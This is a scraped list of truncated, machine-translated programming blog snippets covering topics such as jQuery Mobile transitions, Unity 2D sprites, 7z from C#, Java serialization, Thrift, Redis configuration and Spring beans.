    Switch mode data-transition Property value Horizontal slide mode slide Top down slide mode slideup Bottom up slide mode slidedown Pop up in the center pop Fade in and out fade Spin eject fli ...

  4. 【Unity 3D】 Use 2DToolkit plug-in unit Make 2D Sprite animation

    It's too much trouble for blog to spread pictures , One file at a time .... Why can't I just paste it , Automatic upload ... Just pasted it directly , It turns out that a picture doesn't have , Cut the picture again , I passed it once ... all too ** 了 Okay , Make complaints about it , Start blogging ...

  5. c# stay cmd of use 7z Unzip the file

    var exePath = @"C:\Program Files\7-Zip\7z.exe"; var path = @"I:\work\MusicCatcher2\Wi ...

  6. IO ( 5、 ... and )

    1 Serialization and deserialization 1.1 ObjectOutputStream serialize 1.1.1 summary ObjectOutputStream take Java Object's basic data writing OutputStream, have access to Obje ...

  7. PAT1028:List Sorting

    1028. List Sorting (25) The time limit 200 ms Memory limit 65536 kB Code length limit 16000 B The procedure of judging questions Standard author CHEN, Yue Excel ca ...

  8. centos install thrift

    Thrift Introduce Thrift It's a software framework , For extensible and cross language service development . It combines a powerful software stack with a code generation engine , To build on C++, Java, Python, PHP, Ruby, Erl ...

  9. Redis Profile Introduction

    Redis There is one in the source code package Redis Configuration instance file , The file gives a brief introduction to each configuration point , I also use this document to comment on Redis Some of the configuration for a brief introduction . One .UNITS( Company )[ understand ] 1.Redis service ...

  10. Spring Based on using

    1 id and name The difference between id: Do not repeat , Cannot contain special characters name: Can be repeated , Can contain special characters 2 scope singleton: Configure singleton mode ( Default ), Create objects when the container starts , And just create one ...